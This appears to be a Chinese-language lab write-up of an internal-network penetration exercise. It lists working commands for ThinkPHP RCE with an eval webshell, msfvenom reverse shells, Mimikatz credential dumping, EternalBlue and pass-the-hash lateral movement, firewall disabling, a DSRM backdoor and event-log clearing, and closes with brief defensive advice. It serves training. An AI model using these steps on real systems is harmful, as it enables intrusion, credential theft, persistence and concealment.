一次简单的内网渗透靶场实战
字数 1062 2025-08-05 08:19:10

内网渗透靶场实战教学文档

环境搭建

靶场环境配置

  • 内网Win7主机:192.168.138.136
  • 外网Win7主机:192.168.10.25
  • 域内主机Win2008:192.168.138.138(域控)

Web服务器渗透

1. 信息收集

端口扫描

nmap -T4 -sC -sV 192.168.10.25

发现开放端口:80(HTTP)、135、139、445(SMB)

Web应用识别

  • ThinkPHP 5.0.22版本(通过报错信息确认)
  • 存在已知远程命令执行漏洞

2. ThinkPHP漏洞利用

漏洞描述
ThinkPHP对Requests类的method方法提供了表单请求伪造功能,攻击者可设置$_POST['_method']='__construct'覆盖类变量,将filter变量覆盖为system等函数名,导致任意命令执行。

漏洞验证

searchsploit thinkphp

找到5.x远程执行漏洞(46150.txt)

利用过程

  1. 列出数据库名:
192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username
  1. 查看当前权限:
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  1. 查看网络配置:
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig
  1. 写入Webshell:
192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php

3. 批量检测脚本

提供Python脚本用于批量检测ThinkPHP漏洞:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞检测脚本
# 使用方法:将目标URL放入url.txt,存在漏洞的地址将保存到target.txt

内网信息收集

基础信息收集

whoami
ipconfig
net view
net config workstation
net user /domain

域环境信息

net group "domain computers" /domain
net group "domain controllers" /domain
net group "domain admins" /domain

内网渗透

1. 获取初始立足点

生成并上传后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe

MSF监听设置

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
set LPORT 4444
run

2. 权限提升与信息收集

提权操作

getsystem

域信息收集

chcp 65001
net user /domain
net group "domain admins" /domain

3. 凭证获取

使用Kiwi获取密码

load kiwi
kiwi_cmd privilege::debug
ps # 寻找64位进程
migrate <PID>
kiwi_cmd sekurlsa::logonPasswords

获取到:

  • 域管密码:dc123.com
  • 靶机密码:123.com

4. 横向移动技术

方法一:MS17-010永恒之蓝

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.138.138
run

方法二:PTH哈希传递

use exploit/windows/smb/psexec
set RHOSTS 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
run

方法三:IPC$+计划任务

  1. 建立IPC连接:
net use \\192.168.138.138\ipc$ dc123.com /user:administrator
  1. 创建服务关闭防火墙:
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start unablefirewall
  1. 验证防火墙状态:
netsh advfirewall show allprofiles

5. 远程桌面访问

设置SOCKS代理

use auxiliary/server/socks_proxy
set VERSION 4a
run

配置proxychains

socks4 192.168.10.11 1080

连接RDP

proxychains4 rdesktop 192.168.138.138

权限维持

1. DSRM后门

修改DSRM密码

ntdsutil
set dsrm password
reset password on server null
<输入新密码>
<确认新密码>
q
q

修改登录方式

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

哈希传递登录

privilege::Debug
sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:<hash>

2. 日志清除

方法一:使用MSF

run event_manager -i
run event_manager -c

方法二:手动清除
通过服务器管理器手动清除事件日志

关键知识点总结

  1. ThinkPHP漏洞利用:重点掌握版本识别和RCE漏洞利用方法
  2. 内网信息收集:域环境信息收集是内网渗透的基础
  3. 横向移动技术
    • MS17-010利用条件与限制
    • PTH哈希传递的原理与实现
    • IPC$+计划任务的组合利用
  4. 权限维持技术:DSRM后门的配置与利用方法
  5. 隧道技术:SOCKS代理在内网穿透中的应用

防御建议

  1. 及时更新Web框架和系统补丁
  2. 限制域管账户的使用范围
  3. 监控异常服务创建和计划任务
  4. 定期检查DSRM账户设置
  5. 加强日志审计和监控
内网渗透靶场实战教学文档 环境搭建 靶场环境配置 : 内网Win7主机:192.168.138.136 外网Win7主机:192.168.10.25 域内主机Win2008:192.168.138.138(域控) Web服务器渗透 1. 信息收集 端口扫描 : 发现开放端口:80(HTTP)、135、139、445(SMB) Web应用识别 : ThinkPHP 5.0.22版本(通过报错信息确认) 存在已知远程命令执行漏洞 2. ThinkPHP漏洞利用 漏洞描述 : ThinkPHP对Requests类的method方法提供了表单请求伪造功能,攻击者可设置 $_POST['_method']='__construct' 覆盖类变量,将filter变量覆盖为system等函数名,导致任意命令执行。 漏洞验证 : 找到5.x远程执行漏洞(46150.txt) 利用过程 : 列出数据库名: 查看当前权限: 查看网络配置: 写入Webshell: 3. 批量检测脚本 提供Python脚本用于批量检测ThinkPHP漏洞: 内网信息收集 基础信息收集 : 域环境信息 : 内网渗透 1. 获取初始立足点 生成并上传后门 : MSF监听设置 : 2. 权限提升与信息收集 提权操作 : 域信息收集 : 3. 凭证获取 使用Kiwi获取密码 : 获取到: 域管密码:dc123.com 靶机密码:123.com 4. 横向移动技术 方法一:MS17-010永恒之蓝 方法二:PTH哈希传递 方法三:IPC$+计划任务 建立IPC连接: 创建服务关闭防火墙: 验证防火墙状态: 5. 远程桌面访问 设置SOCKS代理 : 配置proxychains : 连接RDP : 权限维持 1. DSRM后门 修改DSRM密码 : 修改登录方式 : 哈希传递登录 : 2. 日志清除 方法一:使用MSF : 方法二:手动清除 : 通过服务器管理器手动清除事件日志 关键知识点总结 ThinkPHP漏洞利用 :重点掌握版本识别和RCE漏洞利用方法 内网信息收集 :域环境信息收集是内网渗透的基础 横向移动技术 : MS17-010利用条件与限制 PTH哈希传递的原理与实现 IPC$+计划任务的组合利用 权限维持技术 :DSRM后门的配置与利用方法 隧道技术 :SOCKS代理在内网穿透中的应用 防御建议 及时更新Web框架和系统补丁 限制域管账户的使用范围 监控异常服务创建和计划任务 定期检查DSRM账户设置 加强日志审计和监控